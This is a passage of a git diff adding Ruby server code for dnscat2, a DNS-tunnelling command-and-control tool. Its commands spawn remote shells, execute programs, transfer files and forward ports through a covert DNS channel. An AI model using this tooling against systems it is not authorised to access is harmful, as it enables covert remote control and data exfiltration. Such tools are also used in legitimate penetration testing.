+ window.puts("IN: #{command_packet}") + end + + if(command_packet.get(:is_request)) + tunnel_data_incoming(command_packet) + else + handler = @handlers.delete(command_packet.get(:request_id)) + if(handler.nil?) + @window.puts("Received a response that we have no record of sending:") + @window.puts("#{command_packet}") + @window.puts() + @window.puts("Here are the responses we're waiting for:") + @handlers.each_pair do |request_id, the_handler| + @window.puts("#{request_id}: #{the_handler[:request]}") + end + + if(handler.get(:command_id) != response.get(:command_id) && command_packet.get(:command_id) != CommandPacket::ERROR) + @window.puts("Received a response of a different packet type (that's really weird, please report if you can reproduce!") + @window.puts("#{command_packet}") + @window.puts() + @window.puts("The original packet was:") + @window.puts("#{handler}") + end + + return + end + + handler[:proc].call(handler[:request], command_packet) + end + + end + + def feed(data) + @incoming += data + loop do + if(@incoming.length < 4) + break + end + + # Try to read a length + packet + length, data = @incoming.unpack("Na*") + + # If there isn't enough data, give up + if(data.length < length) + break + end + + # Otherwise, remove what we have from @data + length, data, @incoming = @incoming.unpack("Na#{length}a*") + _handle_incoming(CommandPacket.parse(data)) + end + + # Return the queue and clear it out + result = @outgoing + @outgoing = '' + return result + end + + def request_stop() + @stopped = true + end + + def shutdown() + tunnels_stop() + end +end diff --git a/server/drivers/driver_command_commands.rb b/server/drivers/driver_command_commands.rb new file mode 100644 index 0000000..7272865 --- /dev/null +++ b/server/drivers/driver_command_commands.rb @@ -0,0 +1,385 @@ +## +# driver_command_commands.rb +# Created September 13, 2015 +# By Ron Bowes +# +# See: LICENSE.md +## + +require 'libs/command_helpers' + +module DriverCommandCommands + def _register_commands() + @commander.register_alias('sessions', 'windows') + @commander.register_alias('session', 'window') + @commander.register_alias('q', 'quit') + @commander.register_alias('exit', 'quit') + @commander.register_alias('h', 'help') + @commander.register_alias('?', 'help') + @commander.register_alias('up', 'suspend') + @commander.register_alias('back', 'suspend') + @commander.register_alias('pause', 'suspend') + @commander.register_alias('run', 'exec') + @commander.register_alias('execute', 'exec') + + @commander.register_command('help', + Trollop::Parser.new do + banner("Shows a help menu") + end, + + Proc.new do |opts, optval| + @commander.help(@window) + end, + ) + + @commander.register_command('echo', + Trollop::Parser.new do + banner("Print stuff to the terminal, including $variables") + end, + + Proc.new do |opts, optarg| + @window.puts(optarg) + end + ) + + @commander.register_command("ping", + Trollop::Parser.new do + banner("Sends a 'ping' to the remote host to make sure it's still alive)") + opt :length, "length", :type => :integer, :required => false, :default => 256 + end, + Proc.new do |opts| + ping = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::COMMAND_PING, + :data => (0...opts[:length]).map { ('A'.ord + rand(26)).chr }.join() + }) + + _send_request(ping, Proc.new() do |request, response| + if(request.get(:data) != response.get(:data)) + @window.puts("The server didn't return the same ping data we sent!") + @window.puts("Expected: #{request.get(:data)}") + @window.puts("Received: #{response.get(:data)}") + else + @window.puts("Pong!") + end + end) + + @window.puts("Ping!") + end, + ) + + @commander.register_command("clear", + Trollop::Parser.new do + banner("Clears the display") + end, + Proc.new do |opts| + 0.upto(100) do @window.puts() end + end, + ) + + + @commander.register_command("shell", + Trollop::Parser.new do + banner("Spawn a shell on the remote host") + opt :name, "Name", :type => :string, :required => false, :default => nil + end, + + Proc.new do |opts| + shell = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::COMMAND_SHELL, + :name => opts[:name] || "shell" + }) + + _send_request(shell, Proc.new() do |request, response| + @window.puts("Shell session created!") + end) + + @window.puts("Sent request to execute a shell") + end, + ) + + @commander.register_command("exec", + Trollop::Parser.new do + banner("Execute a program on the remote host") + opt :command, "Command", :type => :string, :required => false, :default => nil + opt :name, "Name", :type => :string, :required => false, :default => nil + end, + + Proc.new do |opts, optarg| + command = opts[:command] || optarg + name = opts[:name] || command + + if(name == "") + @window.puts("No command given!") + @window.puts() + raise(Trollop::HelpNeeded) + end + + @window.puts("command = #{command} #{command.class}") + exec = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::COMMAND_EXEC, + :command => command, + :name => name, + }) + + _send_request(exec, Proc.new() do |request, response| + @window.puts("Executed \"#{request.get(:command)}\"") + end) + + @window.puts("Sent request to execute \"#{command}\"") + end, + ) + + @commander.register_command("suspend", + Trollop::Parser.new do + banner("Go back to the parent session") + end, + + Proc.new do |opts, optarg| + @window.deactivate() + end, + ) + + @commander.register_command("download", + Trollop::Parser.new do + banner("Download a file from the other side. Usage: download [to]") + end, + + Proc.new do |opts, optarg| + # Get the two files + remote_file, local_file = Shellwords.shellwords(optarg) + + # Sanity check + if(remote_file.nil? || remote_file == "") + @window.puts("Usage: download [to]") + else + # Make sure we have a local file + if(local_file.nil? || local_file == "") + # I only want the filename to prevent accidental traversal + local_file = File.basename(remote_file) + end + + download = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::COMMAND_DOWNLOAD, + :filename => remote_file, + }) + + _send_request(download, Proc.new() do |request, response| + File.open(local_file, "wb") do |f| + f.write(response.get(:data)) + @window.puts("Wrote #{response.get(:data).length} bytes from #{request.get(:filename)} to #{local_file}!") + end + end) + + @window.puts("Attempting to download #{remote_file} to #{local_file}") + end + end + ) + + @commander.register_command("upload", + Trollop::Parser.new do + banner("Upload a file to the other side. Usage: upload ") + end, + + Proc.new do |opts, optarg| + # Get the two files + local_file, remote_file = Shellwords.shellwords(optarg) + + # Sanity check + if(local_file.nil? || local_file == "" || remote_file.nil? || remote_file == "") + @window.puts("Usage: upload ") + else + data = IO.read(local_file) + + upload = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::COMMAND_UPLOAD, + :filename => remote_file, + :data => data, + }) + + _send_request(upload, Proc.new() do |request, response| + @window.puts("#{data.length} bytes uploaded from #{local_file} to #{remote_file}") + end) + + @window.puts("Attempting to upload #{local_file} to #{remote_file}") + end + end + ) + + @commander.register_command("shutdown", + Trollop::Parser.new do + banner("Shut down the remote session") + end, + + Proc.new do |opts, optarg| + shutdown = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::COMMAND_SHUTDOWN, + }) + + _send_request(shutdown, Proc.new() do |request, response| + @window.puts("Shutdown response received") + end) + @window.puts("Attempting to shut down remote session(s)...") + + # TODO: Doing cleanup here is a bit of a hack; unfortunately, the + # client doesn't tell us when it successfully shuts down, it just dies + # (it's non-trivial delaying the death, as well...), so we free up our + # resources here. :) + request_stop() + end + ) + + @commander.register_command("delay", + Trollop::Parser.new do + banner("Change the delay of the remote session") + end, + + Proc.new do |opts, optarg| + if optarg.nil? || optarg.to_i < 1 + @window.puts("Usage: delay \n\nYou can only use values greater than one second.") + else + delay = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::COMMAND_DELAY, + :delay => optarg.to_i * 1000, + }) + + _send_request(delay, Proc.new() do |request, response| + @window.puts("Delay response received") + end) + @window.puts("Attempting to change delay to #{optarg.to_i}s...") + end + end + ) + + # This is almost the same as 'set' from 'controller', except it uses the + # local settings and recurses into global if necessary + @commander.register_command("set", + Trollop::Parser.new do + banner("set =") + end, + + Proc.new do |opts, optarg| + if(optarg.length == 0) + @window.puts("Usage: set =") + @window.puts() + @window.puts("** Global options:") + @window.puts() + Settings::GLOBAL.each_setting() do |name, value, docs, default| + @window.puts("%s => %s [default = %s]" % [name, CommandHelpers.format_field(value), CommandHelpers.format_field(default)]) + @window.puts(CommandHelpers.wrap(docs, 72, 4)) + @window.puts() + end + + @window.puts() + @window.puts("** Session options:") + @window.puts() + @settings.each_setting() do |name, value, docs, default| + @window.puts("%s => %s [default = %s]" % [name, CommandHelpers.format_field(value), CommandHelpers.format_field(default)]) + @window.puts(CommandHelpers.wrap(docs, 72, 4)) + @window.puts() + end + + next + end + + # Split at the '=' sign + namevalue = optarg.split("=", 2) + + if(namevalue.length != 2) + namevalue = optarg.split(" ", 2) + end + + if(namevalue.length != 2) + @window.puts("Bad argument! Expected: 'set =' or 'set name value'!") + @window.puts() + raise(Trollop::HelpNeeded) + end + + begin + @settings.set(namevalue[0], namevalue[1], true) + rescue Settings::ValidationError => e + @window.puts("Failed to set the new value: #{e}") + end + end + ) + + @commander.register_command("unset", + Trollop::Parser.new do + banner("unset ") + end, + + Proc.new do |opts, optarg| + @settings.unset(optarg) + end + ) + + @commander.register_command('windows', + Trollop::Parser.new do + banner("Lists the current active windows under the current window") + opt :all, "Show closed windows", :type => :boolean, :required => false + end, + + Proc.new do |opts, optarg| + @window.puts() + @window.puts("Windows active in this session (to see all windows, go to") + @window.puts("the main window by pressing ctrl-z):") + @window.puts() + CommandHelpers.display_windows(@window, opts[:all], @window) + end, + ) + + @commander.register_command("window", + Trollop::Parser.new do + banner("Interact with a window") + opt :i, "Interact with the chosen window", :type => :string, :required => false + end, + + Proc.new do |opts, optarg| + if(opts[:i].nil?) + @window.puts() + @window.puts("Windows active in this session (to see all windows, go to") + @window.puts("the main window by pressing ctrl-z):") + @window.puts() + CommandHelpers.display_windows(@window, opts[:all], @window) + next + end + + window = SWindow.get(opts[:i]) + if(window.nil?) + @window.puts("Window #{opts[:i]} not found!") + @window.puts() + @window.puts("Windows active in this session (to see all windows, go to") + @window.puts("the main window by pressing ctrl-z):") + @window.puts() + CommandHelpers.display_windows(@window, false, @window) + next + end + + window.activate() + end + ) + + @commander.register_command("quit", + Trollop::Parser.new do + banner("Close all sessions and exit dnscat2") + end, + + Proc.new do |opts, optarg| + exit(0) + end + ) + end +end diff --git a/server/drivers/driver_command_tunnels.rb b/server/drivers/driver_command_tunnels.rb new file mode 100644 index 0000000..aeea535 --- /dev/null +++ b/server/drivers/driver_command_tunnels.rb @@ -0,0 +1,196 @@ +## +# driver_command_tunnels.rb +# Created November 27, 2015 +# By Ron Bowes +# +# See: LICENSE.md +## + +require 'libs/command_helpers' +require 'libs/socketer' + +module DriverCommandTunnels + def _register_commands_tunnels() + @tunnels_by_session = {} + @sessions_by_tunnel = {} + @tunnels = [] + + @commander.register_command('tunnels', + Trollop::Parser.new do + banner("Lists all current listeners") + end, + + Proc.new do |opts, optarg| + @tunnels.each do |tunnel| + @window.puts(tunnel.to_s) + end + end + ) + + @commander.register_command('listen', + Trollop::Parser.new do + banner("Listens on a local port and sends the connection out the other side (like ssh -L). Usage: listen [:] :") + end, + + Proc.new do |opts, optarg| + local, remote = optarg.split(/ /) + + if(remote.nil?) + @window.puts("Bad argument! Expected: 'listen [:] :'") + @window.puts() + raise(Trollop::HelpNeeded) + end + + # Split the local port at the :, if there is one + if(local.include?(":")) + local_host, local_port = local.split(/:/) + else + local_host = '0.0.0.0' + local_port = local + end + local_port = local_port.to_i() + + if(local_port <= 0 || local_port > 65535) + @window.puts("Bad argument! lport must be a valid port (between 0 and 65536)") + @window.puts() + raise(Trollop::HelpNeeded) + end + + remote_host, remote_port = remote.split(/:/) + if(remote_host == '' || remote_port == '' || remote_port.nil?) + @window.puts("rhost or rport missing!") + @window.puts() + raise(Trollop::HelpNeeded) + end + remote_port = remote_port.to_i() + + if(remote_port <= 0 || remote_port > 65535) + @window.puts("Bad argument! rport must be a valid port (between 0 and 65536)") + @window.puts() + raise(Trollop::HelpNeeded) + end + + @window.puts("Listening on #{local_host}:#{local_port}, sending connections to #{remote_host}:#{remote_port}") + + begin + @tunnels << Socketer.listen(local_host, local_port, { + :on_connect => Proc.new() do |session, host, port| + @window.puts("Connection from #{host}:#{port}; forwarding to #{remote_host}:#{remote_port}...") + + packet = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::TUNNEL_CONNECT, + :options => 0, + :host => remote_host, + :port => remote_port, + }) + + _send_request(packet, Proc.new() do |request, response| + if(response.get(:command_id) == CommandPacket::COMMAND_ERROR) + @window.puts("Tunnel error: #{response.get(:reason)}") + session.stop!() + else + @window.puts("[Tunnel %d] connection successful!" % response.get(:tunnel_id)) + @tunnels_by_session[session] = response.get(:tunnel_id) + @sessions_by_tunnel[response.get(:tunnel_id)] = session + + # Tell the tunnel that we're ready to receive data + session.ready!() + end + end) + end, + + :on_data => Proc.new() do |session, data| + tunnel_id = @tunnels_by_session[session] + + packet = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::TUNNEL_DATA, + :tunnel_id => tunnel_id, + :data => data, + }) + + _send_request(packet, nil) + end, + + :on_error => Proc.new() do |session, msg, e| + # Delete the tunnel + tunnel_id = @tunnels_by_session.delete(session) + @window.puts("[Tunnel %d] error: %s" % [tunnel_id, msg]) + + @sessions_by_tunnel.delete(tunnel_id) + + packet = CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::TUNNEL_CLOSE, + :tunnel_id => tunnel_id, + :reason => "Error during the connection: %s" % msg, + }) + + _send_request(packet, nil) + end + }) + rescue Errno::EACCES => e + @window.puts("Sorry, couldn't listen on that port: #{e}") + rescue Errno::EADDRINUSE => e + @window.puts("Sorry, that address:port is already in use: #{e}") + @window.puts() + @window.puts("If you kill a session from the root window with the 'kill'") + @window.puts("command, it will free the socket. You can get a list of which") + @window.puts("sockets are being used with the 'tunnels' command!") + @window.puts() + @window.puts("I realize this is super awkward.. don't worry, it'll get") + @window.puts("better next version! Stay tuned!") + + end + end + ) + end + + def tunnel_data_incoming(packet) + tunnel_id = packet.get(:tunnel_id) + + case packet.get(:command_id) + when CommandPacket::TUNNEL_DATA + session = @sessions_by_tunnel[tunnel_id] + if(session.nil?) + @window.puts("Received data for unknown tunnel: %d! Telling client to close it!" % tunnel_id) + + _send_request(CommandPacket.new({ + :is_request => true, + :request_id => request_id(), + :command_id => CommandPacket::TUNNEL_CLOSE, + :tunnel_id => tunnel_id, + :reason => "Unknown tunnel: %d" % tunnel_id + }), nil) + else + session.send(packet.get(:data)) + end + when CommandPacket::TUNNEL_CLOSE + @window.puts("[Tunnel %d] closed by the other side: %s!" % [tunnel_id, packet.get(:reason)]) + # Delete the tunnels, we're done with them + session = @sessions_by_tunnel.delete(tunnel_id) + if(session.nil?) + @window.puts("WARNING: Client tried to close a tunnel that wasn't open (it may have just disconnected)") + return + end + + @tunnels_by_session.delete(session) + session.stop!() + else + raise(DnscatException, "Unknown command sent by the server: #{packet}") + end + end + + def tunnels_stop() + if(@tunnels.length > 0) + @window.puts("Stopping active tunnels...") + @tunnels.each do |t| + t.kill() + end + end + end +end diff --git a/server/drivers/driver_console.rb b/server/drivers/driver_console.rb new file mode 100644 index 0000000..b32bd2e --- /dev/null +++ b/server/drivers/driver_console.rb @@ -0,0 +1,42 @@ +## +# driver_console.rb +# Created August 29, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +## + +class DriverConsole + attr_reader :stopped + + def initialize(window, settings) + @window = window + @settings = settings + @outgoing = "" + + @window.on_input() do |data| + @outgoing += data + @outgoing += "\n" + end + + @window.puts("This is a console session!") + @window.puts() + @window.puts("That means that anything you type will be sent as-is to the") + @window.puts("client, and anything they type will be displayed as-is on the") + @window.puts("screen! If the client is executing a command and you don't") + @window.puts("see a prompt, try typing 'pwd' or something!") + @window.puts() + @window.puts("To go back, type ctrl-z.") + @window.puts() + end + + def feed(data) + @window.print(data) + + out = @outgoing + @outgoing = '' + + return out + end +end diff --git a/server/drivers/driver_process.rb b/server/drivers/driver_process.rb new file mode 100644 index 0000000..b5354b8 --- /dev/null +++ b/server/drivers/driver_process.rb @@ -0,0 +1,89 @@ +## +# driver_console.rb +# Created September 16, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +## + +require 'open3' + +class DriverProcess + def initialize(window, settings, process) + @window = window + @settings = settings + @outgoing = "" + @window.noinput = true + + @window.puts("This isn't a console session!") + @window.puts() + @window.puts("The 'process' variable is set, which means that a specific") + @window.puts("process:") + @window.puts() + @window.puts(process) + @window.puts() + @window.puts("will be started. That process's i/o is bound to that dnscat2") + @window.puts("client, which means you can interact with the process via") + @window.puts("that client.") + @window.puts("") + @window.puts("Note that there is no access control, which means any client") + @window.puts("that connects to this server can also use this process; there") + @window.puts("are some security implications there!") + @window.puts() + @window.puts("To disable this, run 'set process=' in the main window.") + @window.puts() + @window.puts("To go back, type ctrl-z.") + @window.puts() + + @done = false + + # Do this in a thread, since read() blocks + @thread = Thread.new() do |thread| + # Put this in an error block, since Threads don't print errors when debug is off + begin + # popen2e combines stderr and stdout into a single pipe, which is handy + @window.puts("Starting process: #{process}") + Open3.popen2e(process) do |stdin, stdout, wait_thr| + # Save stdin so we can write to it when data comes + @process_stdin = stdin + + # Read the output character by character.. I'm not sure if there's a better way, .gets() isn't + # binary friendly, and reading more than 1 byte means that buffering happens + while line = stdout.read(1) + @outgoing += line + end + + # Get the exit status + exit_status = wait_thr.value + + if(!exit_status.success?) + @window.puts("Command exited with an error: #{process}") + else + @window.puts("Command exited successfully: #{process}") + end + + @done = true + + end + rescue Exception => e + $stdout.puts("ERROR: #{e}") + end + end + end + + def feed(data) + if(@done) + return nil + end + + @window.puts("[-->] #{data}") + @process_stdin.write(data) + + out = @outgoing + @outgoing = '' + + @window.puts("[<--] #{out}") + return out + end +end diff --git a/server/libs/command_helpers.rb b/server/libs/command_helpers.rb new file mode 100644 index 0000000..079d069 --- /dev/null +++ b/server/libs/command_helpers.rb @@ -0,0 +1,68 @@ +## +# command_helpers.rb +# Created September 16, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +# These are used both by controller_commands.rb and driver_command_commands.rb, +# so instead of copying the code I put them together. +# +# It's unlikely that anybody else would have a use for this. +## + +class CommandHelpers + # Displays the name and children of a window + def CommandHelpers._display_window(window, all, stream, indent = 0) + if(!all && window.closed?()) + return + end + + stream.puts((' ' * indent) + window.to_s()) + window.children() do |c| + _display_window(c, all, stream, indent + 1) + end + end + + def CommandHelpers.display_windows(base_window, all, stream) + _display_window(base_window, all, stream) + end + + def CommandHelpers.wrap(s, width=72, indent=0) + return s.gsub(/(.{1,#{width}})(\s+|\Z)/, "#{" "*indent}\\1\n") + end + + def CommandHelpers.format_field(s) + if(s.nil?) + return "(n/a)" + elsif(s.is_a?(String)) + return "'" + s + "'" + else + return s.to_s() + end + end + + def CommandHelpers.parse_setting_string(str, defaults = nil) + response = (defaults || {}).clone() + + str.split(/,/).each do |segment| + name, value = segment.split(/=/, 2) + if(value.nil?) + raise(ArgumentError, "Invalid settings string; a comma-separated list of name=value pairs is required. ('#{str}')") + end + + name = name.to_sym() + if(defaults && !defaults.has_key?(name)) + raise(ArgumentError, "Invalid setting: #{name}; allowed settings are #{defaults.keys.join(', ')}. ('#{str}')") + end + + if(response[name].is_a?(Array)) + response[name] << value + else + response[name] = value + end + end + + return response + end +end diff --git a/server/libs/commander.rb b/server/libs/commander.rb new file mode 100644 index 0000000..3e21bb0 --- /dev/null +++ b/server/libs/commander.rb @@ -0,0 +1,139 @@ +## +# commander.rb +# By Ron Bowes +# Created August 29, 2015 +# +# See LICENSE.md +# +# This is a class designed for registering commandline-style commands that +# are parsed and passed to handlers. +# +# After instantiating this class, register_command() is used to register +# new commands. register_alias() can also be used to create command aliases. +# +# Later, when the user types something that should be parsed as a command, the +# feed() function is called with the string the user passed. It attempts to +# parse it as a commandline-like string and call the appropriate function. +# +# This class uses the shellwords and trollop libraries to do much of the heavy +# lifting. +## + +require 'shellwords' +require 'trollop' + +class Commander + def initialize() + @commands = {} + @aliases = {} + end + + # Register a new command. The 'name' is the name the user types to activate + # the command. The parser is a Trollop::Parser instance, have a look at + # controller_commands.rb or driver_command_commands.rb to see how that's used. + # The func is a Proc that's called with two variables: opts, which is the + # command-line arguments parsed as per the parser; and optarg, which is + # everything that isn't parsed. + def register_command(name, parser, func) + @commands[name] = { + :parser => parser, + :func => func, + } + end + + # Register an alias; if the user types 'name', it calls the handler for + # 'points_to'. This is recursive. + def register_alias(name, points_to) + @aliases[name] = points_to + end + + def _resolve_alias(command) + while(!@aliases[command].nil?) + command = @aliases[command] + end + + return command + end + + # Treating data as either a command or a full command string, this gets + # information about the command the user tried to use, and prints help + # to stream (stream.puts() and stream.printf() are required). + # + # The dependence on passing in a stream is sub-optimal, but it's the only + # way that Trollop works. + def educate(data, stream) + begin + args = Shellwords.shellwords(data) + rescue ArgumentError + return + end + + if(args.length == 0) + return + end + + command = args.shift() + if(command.nil?) + return + end + + command = _resolve_alias(command) + + command = @commands[command] + if(command.nil?) + return + end + + command[:parser].educate(stream) + end + + # Print all commands to stream. + def help(stream) + stream.puts() + stream.puts("Here is a list of commands (use -h on any of them for additional help):") + @commands.keys.sort.each do |command| + stream.puts("* #{command}") + end + end + + # Try to parse a line typed in by the user as a command, calling the + # appropriate handler function, if the user typed a bad command. + # + # This will throw an ArgumentError for various reasons, including + # unknown commands, badly quoted strings, and bad arguments. + def feed(data) + if(data[0] == '!') + system(data[1..-1]) + return + end + args = Shellwords.shellwords(data) + + if(args.length == 0) + return + end + command = _resolve_alias(args.shift()) + + if(@commands[command].nil?) + raise(ArgumentError, "Unknown command: #{command}") + end + + begin + command = @commands[command] + command[:parser].stop_on("--") + opts = command[:parser].parse(args) + optval = "" + optarr = command[:parser].leftovers + if(!optarr.nil?()) + if(optarr[0] == "--") + optarr.shift() + end + optval = optarr.join(" ") + end + command[:func].call(opts, optval) + rescue Trollop::CommandlineError => e + raise(ArgumentError, e.message) + rescue Trollop::HelpNeeded => e + raise(ArgumentError, "The user requested help") + end + end +end diff --git a/server/libs/dnscat_exception.rb b/server/libs/dnscat_exception.rb new file mode 100644 index 0000000..67f4964 --- /dev/null +++ b/server/libs/dnscat_exception.rb @@ -0,0 +1,12 @@ +## +# dnscat_exception.rb +# Created July 1, 2013 (Canada Day!) +# By Ron Bowes +# +# See LICENSE.md +# +# Implements a simple exception class for dnscat2 protocol errors. +## + +class DnscatException < StandardError +end diff --git a/server/libs/dnser.rb b/server/libs/dnser.rb new file mode 100644 index 0000000..69f734e --- /dev/null +++ b/server/libs/dnser.rb @@ -0,0 +1,942 @@ +## +# dnser.rb +# Created Oct 7, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +# I had nothing but trouble using rubydns (which became celluloid-dns, whose +# documentation is just flat out wrong), and I only really need a very small +# subset of DNS functionality, so I decided that I should just wrote my own. +# +# Note: after writing this, I noticed that Resolv::DNS exists in the Ruby +# language, I need to check if I can use that. +# +# There are two methods for using this library: as a client (to make a query) +# or as a server (to listen for queries and respond to them). +# +# To make a query, use DNSer.query: +# +# DNSer.query("google.com") do |response| +# ... +# end +# +# `response` will be of type DNSer::Packet. +# +# To listen for queries, create a new instance of DNSer, which will begin +# listening on a port, but won't actually handle queries yet: +# +# dnser = DNSer.new("0.0.0.0", 53) +# dnser.on_request() do |transaction| +# ... +# end +# +# `transaction` is of type DNSer::Transaction, and allows you to respond to the +# request either immediately or asynchronously. +# +# DNSer currently supports the following record types: A, NS, CNAME, SOA, MX, +# TXT, and AAAA. +## + +require 'ipaddr' +require 'socket' +require 'timeout' + +require_relative './vash' + +class DNSer + # Create a custom error message + class DnsException < StandardError + end + + class Packet + attr_accessor :trn_id, :opcode, :flags, :rcode, :questions, :answers + + # Request / response + QR_QUERY = 0x0000 + QR_RESPONSE = 0x0001 + + QRS = { + QR_QUERY => "QUERY", + QR_RESPONSE => "RESPONSE", + } + + # Return codes + RCODE_SUCCESS = 0x0000 + RCODE_FORMAT_ERROR = 0x0001 + RCODE_SERVER_FAILURE = 0x0002 # :servfail + RCODE_NAME_ERROR = 0x0003 # :NXDomain + RCODE_NOT_IMPLEMENTED = 0x0004 + RCODE_REFUSED = 0x0005 + + RCODES = { + RCODE_SUCCESS => ":NoError (RCODE_SUCCESS)", + RCODE_FORMAT_ERROR => ":FormErr (RCODE_FORMAT_ERROR)", + RCODE_SERVER_FAILURE => ":ServFail (RCODE_SERVER_FAILURE)", + RCODE_NAME_ERROR => ":NXDomain (RCODE_NAME_ERROR)", + RCODE_NOT_IMPLEMENTED => ":NotImp (RCODE_NOT_IMPLEMENTED)", + RCODE_REFUSED => ":Refused (RCODE_REFUSED)", + } + + # Opcodes - only QUERY is typically used + OPCODE_QUERY = 0x0000 + OPCODE_IQUERY = 0x0800 + OPCODE_STATUS = 0x1000 + + OPCODES = { + OPCODE_QUERY => "OPCODE_QUERY", + OPCODE_IQUERY => "OPCODE_IQUERY", + OPCODE_STATUS => "OPCODE_STATUS", + } + + # The types that we support + TYPE_A = 0x0001 + TYPE_NS = 0x0002 + TYPE_CNAME = 0x0005 + TYPE_SOA = 0x0006 + TYPE_MX = 0x000f + TYPE_TXT = 0x0010 + TYPE_AAAA = 0x001c + TYPE_ANY = 0x00FF + + TYPES = { + TYPE_A => "A", + TYPE_NS => "NS", + TYPE_CNAME => "CNAME", + TYPE_SOA => "SOA", + TYPE_MX => "MX", + TYPE_TXT => "TXT", + TYPE_AAAA => "AAAA", + TYPE_ANY => "ANY", + } + + # The DNS flags + FLAG_AA = 0x0008 # Authoritative answer + FLAG_TC = 0x0004 # Truncated + FLAG_RD = 0x0002 # Recursion desired + FLAG_RA = 0x0001 # Recursion available + + # This converts a set of flags, as an integer, into a string + def Packet.FLAGS(flags) + result = [] + if((flags & FLAG_AA) == FLAG_AA) + result << "AA" + end + if((flags & FLAG_TC) == FLAG_TC) + result << "TC" + end + if((flags & FLAG_RD) == FLAG_RD) + result << "RD" + end + if((flags & FLAG_RA) == FLAG_RA) + result << "RA" + end + + return result.join("|") + end + + # Classes - we only define IN (Internet) + CLS_IN = 0x0001 # Internet + + CLSES = { + CLS_IN => "IN", + } + + class FormatException < StandardError + end + + # DNS has some unusual properties that we have to handle, which is why I + # wrote this class. It handles building / parsing DNS packets and keeping + # track of where in the packet we currently are. The advantage, besides + # simpler unpacking, is that encoded names (with pointers to other parts + # of the packet) can be trivially handled. + class DnsUnpacker + attr_accessor :data + + # Create a new instance, initialized with the given data + def initialize(data) + @data = data.force_encoding("ASCII-8BIT") + @offset = 0 + end + +# def remaining() +# return @data[@offset..-1] +# end + + # Unpack from the string, exactly like the normal `String#Unpack` method + # in Ruby, except that an offset into the string is maintained and updated. + def unpack(format, offset = nil) + # If there's an offset, unpack starting there + if(!offset.nil?) + results = @data[offset..-1].unpack(format) + else + results = @data[@offset..-1].unpack(format + "a*") + remaining = results.pop + @offset = @data.length - remaining.length + end + + if(!results.index(nil).nil?) + raise(DNSer::Packet::FormatException, "DNS packet was truncated (or we messed up parsing it)!") + end + + return *results + end + + # This temporarily changes the offset that we're reading from, runs the + # given block, then changes it back. This is used internally while + # unpacking names. + def _move_offset(offset) + old_offset = @offset + @offset = offset + yield + @offset = old_offset + end + + # Unpack a name from the packet. Names are special, because they're + # encoded as: + # * A series of length-prefixed blocks, each indicating a segment + # * Blocks with a length the starts with two '1' bits (11xxxxx...), which + # contains a pointer to another name elsewhere in the packet + def unpack_name(depth = 0) + segments = [] + + if(depth > 16) + raise(DNSer::Packet::FormatException, "It looks like this packet contains recursive pointers!") + end + + loop do + # If no offset is given, just eat data from the normal source + len = unpack("C").pop() + + # Stop at the null terminator + if(len == 0) + break + end + # Handle "pointer" records by updating the offset + if((len & 0xc0) == 0xc0) + # If the first two bits are 1 (ie, 0xC0), the next + # 10 bits are an offset, so we have to mask out the first two bits + # with 0x3F (00111111) + offset = ((len << 8) | unpack("C").pop()) & 0x3FFF + + _move_offset(offset) do + segments << unpack_name(depth+1).split(/\./) + end + + break + end + + # It's normal, just unpack what we need to! + segments << unpack("a#{len}") + end + + return segments.join('.') + end + + def verify_length(len) + start_length = @offset + yield + end_length = @offset + + if(end_length - start_length != len) + raise(FormatException, "A resource record's length didn't match its actual length; something is funky") + end + end + + # Take a name, as a dotted string ("google.com") and return it as length- + # prefixed segments ("\x06google\x03com\x00"). + # + # TODO: Compress the name properly, if we can ("\xc0\x0c") + def DnsUnpacker.pack_name(name) + result = '' + + name.split(/\./).each do |segment| + result += [segment.length(), segment].pack("Ca*") + end + + result += "\0" + return result + end + + # Shows where in the string we're currently editing. Mostly usefulu for + # debugging. + def to_s() + if(@offset == 0) + return @data.unpack("H*").pop + else + return "#{@data[0..@offset-1].unpack("H*")}|#{@data[@offset..-1].unpack("H*")}" + end + end + end + + class A + attr_accessor :address + + def initialize(address) + @address = IPAddr.new(address) + + if(!@address.ipv4?()) + raise(FormatException, "IPv4 address required!") + end + end + + def A.parse(data) + address = data.unpack("A4").pop() + return A.new(IPAddr.ntop(address)) + end + + def serialize() + return @address.hton() + end + + def to_s() + return "#{@address} [A]" + end + end + + class NS + attr_accessor :name + + def initialize(name) + @name = name + end + + def NS.parse(data) + return NS.new(data.unpack_name()) + end + + def serialize() + return DNSer::Packet::DnsUnpacker.pack_name(@name) + end + + def to_s() + return "#{@name} [NS]" + end + end + + class CNAME + attr_accessor :name + + def initialize(name) + @name = name + end + + def CNAME.parse(data) + return CNAME.new(data.unpack_name()) + end + + def serialize() + return DNSer::Packet::DnsUnpacker.pack_name(@name) + end + + def to_s() + return "#{@name} [CNAME]" + end + end + + class SOA + attr_accessor :primary, :responsible, :serial, :refresh, :retry_interval, :expire, :ttl + + def initialize(primary, responsible, serial, refresh, retry_interval, expire, ttl) + @primary = primary + @responsible = responsible + @serial = serial + @refresh = refresh + @retry_interval = retry_interval + @expire = expire + @ttl = ttl + end + + def SOA.parse(data) + primary = data.unpack_name() + responsible = data.unpack_name() + serial, refresh, retry_interval, expire, ttl = data.unpack("NNNNN") + + return SOA.new(primary, responsible, serial, refresh, retry_interval, expire, ttl) + end + + def serialize() + return [ + DNSer::Packet::DnsUnpacker.pack_name(@primary), + DNSer::Packet::DnsUnpacker.pack_name(@responsible), + @serial, + @refresh, + @retry_interval, + @expire, + @ttl + ].pack("a*a*NNNNN") + end + + def to_s() + return "Primary name server = #{@primary}, responsible authority's mailbox: #{@responsible}, serial number: #{@serial}, refresh interval: #{@refresh}, retry interval: #{@retry_interval}, 